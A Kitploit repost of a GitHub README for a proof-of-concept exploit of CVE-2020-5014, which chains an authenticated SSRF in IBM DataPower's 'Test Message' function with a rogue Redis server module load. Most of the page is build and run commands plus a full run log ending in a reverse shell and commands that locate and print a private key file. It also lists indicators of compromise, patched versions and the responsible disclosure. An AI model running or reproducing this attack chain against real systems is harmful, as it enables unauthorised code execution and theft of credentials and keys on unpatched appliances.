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datapower-redis-rce-exploit — A POC for IBM Datapower Authenticated Redis RCE Exploit abusing the Test Message Function (CVE-2020-5014) | Kitploit
Tools/GitHubGitHub/copethomas/datapower-redis-rce-exploit
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GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

A POC for IBM Datapower Authenticated Redis RCE Exploit abusing the Test Message Function (CVE-2020-5014)

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2214 years agoNot yet reviewed

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datapower-redis-rce-exploit (CVE-2020-5014)

A POC for IBM DataPower Authenticated Redis RCE Exploit abusing the "Test Message" Function.

poc_demo

Full explination and demo on Youtube

Blog post on tomcope.com

Explanation

Using the DataPower "Send a Test Message" function available through a authenticated session to the DataPower WebGUI, it is possible to perform a SSRF attack against DataPowers internal Redis Server. The internal Redis server is password protected but appears to use a hardcoded password. This can then be combined with a pre-existing Redis RCE vulnerability to execute arbitrary code as the drouter user inside the DataPower underlying Linux operating system.

Quick Start

  1. Clone this repo
  2. Compile the module:
    • cd RedisModulesSDK/dpredisshell/
    • make
  • Compile the Golang code
    • go build
  • Check the flags
    • ./datapower-redis-rce-exploit -h
  • Run the exploit
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8

    • Example

    Below is a worked example running DataPower via Docker and the exploit locally through localhost:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. Login to DataPower with Username admin and password admin
    3. Configure with WebGUI:
    root@kitploit:~
    idg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration

idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg#
    1. Check the WebUI is up:
    root@kitploit:~
    idg# show web-mgmt

web-mgmt [up] 
--------
 admin-state enabled 
 ip-address 0.0.0.0 
 port 9090 
 save-config-overwrite on 
 idle-timeout 600 Seconds
 acl web-mgmt  [up]
 ssl-config-type server 
 enable-sts on 

idg#
    1. Open a new terminal window
    2. Clone this repo
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. Compile the module:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. Compile the Golang code
      • cd ../../
      • go build
    5. Load the internal redis password into your shell. (Read the Explanation for more details)
    root@kitploit:~
    $ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
    1. Run the exploit:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main      - 2020/10/18 23:34:29 Datapower Login Complete!
Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main      - 2020/10/18 23:34:29 Performing clean up...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main      - 2020/10/18 23:34:30 Got Reverse Shell!
Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
drouter       63      61  0 22:34 pts/0    00:00:00 
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

    IOCs

    During the exploit DataPower will log multiple url-open errors with the internal redis url. This is due to redis not replying in the XML format expected by DataPower.

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'

    Fix / Patch

    Fixed in version 10.0.1.2 and 2018.4.1.15

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    Links and Thanks

    • https://github.com/n0b0dyCN/redis-rogue-server - For the Python Version of this Exploit and the exp.c Redis Module
    • https://github.com/RicterZ/RedisModules-ExecuteCommand - For the Original Redis Module
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - For the discovery of the Redis RCE

    Original discovery made by Me (Thomas Cope) @ October 21, 2020 - Reported via Hackerone to IBM

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